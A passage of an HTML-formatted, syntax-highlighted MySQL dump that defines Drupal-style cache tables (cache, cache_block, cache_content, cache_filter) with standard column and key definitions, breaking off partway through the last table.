&lt;pre style=&quot;background: #f1f0f0; color: black;&quot;&gt;&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Data_Definition_Language&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Data Definition Language&quot;&gt;CREATE&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Varchar&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Varchar&quot;&gt;varchar&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Default_%28finance%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Default (finance)&quot;&gt;default&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Database_engine&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Database engine&quot;&gt;ENGINE&lt;/a&gt;&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.mysql.com/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;MyISAM&quot;&gt;MyISAM&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_block`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_block&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_block&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_content`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_content&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_content&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;created&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;headers&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;serialized&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;smallint&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;PRIMARY&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt;  &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;KEY&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;expire&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; ENGINE&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;MyISAM&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;DEFAULT&lt;/span&gt; CHARSET&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;utf8&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = @saved_cs_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;

&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;-- Table structure for table `cache_filter`&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;--&lt;/span&gt;

&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;DROP&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;EXISTS&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_filter&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET @saved_cs_client     = @@character_set_client */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #c34e00;&quot;&gt;/*!40101 SET character_set_client = utf8 */&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt;
&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cache_filter&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;cid&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;varchar&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #c00000;&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #074726;&quot;&gt;default&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
  &lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;background: #f1f0f0; color: black;&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;`&lt;/span&gt; &lt;span style=&quot;color: #800040;&quot;&gt;longblob&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;,&lt;/span&gt;
